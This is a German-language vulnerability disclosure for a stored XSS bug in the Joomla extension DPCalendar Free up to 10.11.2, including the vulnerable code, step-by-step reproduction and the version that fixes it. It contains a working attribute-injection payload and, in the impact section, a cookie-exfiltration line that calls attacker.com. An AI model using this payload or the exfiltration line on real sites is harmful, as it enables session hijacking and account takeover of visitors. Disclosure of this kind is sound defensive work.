
Stored XSS über den Standorttitel in DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Autor-Rolle umgeht Inhaltsprüfung, um persistentes XSS über Location-Titel zu injizieren, ausgelöst beim Hover durch beliebige Besucher
Das Feld $location->title wird in default_locations.php ohne htmlspecialchars() gerendert. Joomlas serverseitiges InputFilter::clean() entfernt < und aus String-Feldern, erlaubt jedoch , wodurch ein Benutzer mit Autor-Rolle aus einem HTML-Attributkontext ausbrechen kann. Wenn ein beliebiger Besucher mit der Maus über den Bereich „Location-Informationen“ einer Event-Seite fährt, führt der injizierte -Handler beliebiges JavaScript in dessen Browsersitzung aus.
>"onmouseoverEin zweiter Designfehler verstärkt die Auswirkung: EventController::allowEdit() prüft nur created_by == current_user — es prüft nicht den Veröffentlichungsstatus des Events. Ein Autor kann ein harmloses Event erstellen, von einem Administrator veröffentlichen lassen und anschließend die verknüpfte Location stillschweigend bewaffnen, indem er deren Titel nach der Veröffentlichung bearbeitet — die Inhaltsprüfung wird dabei vollständig umgangen. Die XSS-Payload wird erst nach der Moderation eingefügt; Administratoren sehen sie während ihres Prüfzyklus nie.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Typ: Stored Cross-Site Scripting / Fehlerhafte Ausgabekodierung (CWE-79)
Erforderliche Authentifizierung: Autor-Rolle — Frontend-Benutzer (Joomla-Gruppe 4, Minimum zum Erstellen von Events)
Datei: site/tmpl/event/default_locations.php
$location->title wird in zwei Ausgabekontexten in default_locations.php direkt ausgegeben — ohne htmlspecialchars(). Der Attributkontext ist der über die Weboberfläche ausnutzbare Sink, da Joomlas InputFilter <> blockiert, " jedoch unverändert durchlässt.
DEFAULT_LOCATIONS.PHP — VERWUNDBARE AUSGABE-SINKS
// Sink 1 — Textinhalt (HTML-Injektion; <> durch InputFilter über Weboberfläche entfernt)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — HTML-Attribut (Attributinjektion; " passiert den InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Ein Titelwert wie New Location" onmouseover="alert(document.domain) wird vom Server unverändert gespeichert. Bei der Ausgabe rendert Sink 2 wie folgt:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
Das onmouseover-Attribut wird zu einem aktiven Event-Handler im gerenderten DOM.
EventController::allowEdit() gewährt jedem Autor Bearbeitungszugriff auf die eigenen Events, unabhängig vom Veröffentlichungsstatus. Ein Angreifer schafft Vertrauen, indem er ein normales Event zur Admin-Prüfung einreicht und dann — nach der Veröffentlichung durch den Admin — die verknüpfte Location stillschweigend bearbeitet, um die XSS-Payload zu injizieren:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() OHNE STATUSPRÜFUNG
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Keine Prüfung von $event->state — veröffentlichte Events bleiben für Autoren bearbeitbar
}
Navigieren Sie zum Frontend-Login-Formular und melden Sie sich mit einem Autorenkonto an (Joomla-Gruppe 4 — Minimum zum Erstellen von Events und Locations).

Navigieren Sie zu /index.php?option=com_dpcalendar&view=form. Erstellen Sie ein Event mit einem sauberen Titel und verknüpfen Sie eine beliebige vorhandene Location (z. B. „Greater London“). Dies etabliert die Legitimität des Autors, bevor die Payload eingeführt wird.


Das Event wird zur Prüfung eingereicht. Ein Administrator meldet sich an und veröffentlicht es über das DPCalendar-Backend. Das Event ist nun live und für alle Seitenbesucher sichtbar.

Als Autor navigieren Sie zur Seite des veröffentlichten Events. Die Schaltfläche Event bearbeiten bleibt sichtbar — allowEdit() prüft den Veröffentlichungsstatus nicht. Klicken Sie auf Event bearbeiten, gehen Sie zum Tab Location und klicken Sie auf das Stiftsymbol, um locationform zu öffnen.

Ersetzen Sie den Location-Namen durch die Payload. Joomlas InputFilter lässt " durch — die Payload wird unverändert gespeichert und bricht bei der Ausgabe den HTML-Attributkontext auf:
PAYLOAD — TITELFELD (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Klicken Sie auf Speichern.
Wenn ein beliebiger Benutzer — authentifiziert oder anonym — die Event-Detailseite besucht und den Mauszeiger über den Bereich Location-Informationen bewegt, feuert der injizierte onmouseover-Handler sofort. Keine Authentifizierung, kein Klick und keine weitere Interaktion erforderlich — nur der Seitenbesuch genügt.

Die rohe Payload ist im Location-Bereich der Event-Seite sichtbar — der nicht maskierte Titel wird als aktives HTML-Attribut gerendert:

Das Überfahren des Location-Bereichs mit der Maus löst den Alert-Dialog im Browser des anonymen Besuchers aus:

Session-Hijacking — Der injizierte Handler kann das Session-Cookie des Opfers über fetch('//attacker.com/?c='+document.cookie) exfiltrieren und ermöglicht so die vollständige Übernahme jedes Kontos, das das Event ansieht.
Persistente, eventbezogene Angriffsfläche — Die Payload bleibt bestehen, bis der Location-Titel manuell korrigiert wird. Jeder Benutzer, der die Event-Seite besucht — einschließlich anonymer Besucher — ist exponiert. Events mit hohem Traffic (öffentliche Konferenzen, Buchungsseiten) vervielfachen die Zahl der Opfer.
Vertrauensumgehung nach der Veröffentlichung — Da der Autor die Location nach der Admin-Freigabe stillschweigend ändern kann, wird die Payload während der Inhaltsprüfung nie gesehen. Das harmlose Event besteht die Moderation; die XSS wird anschließend eingefügt.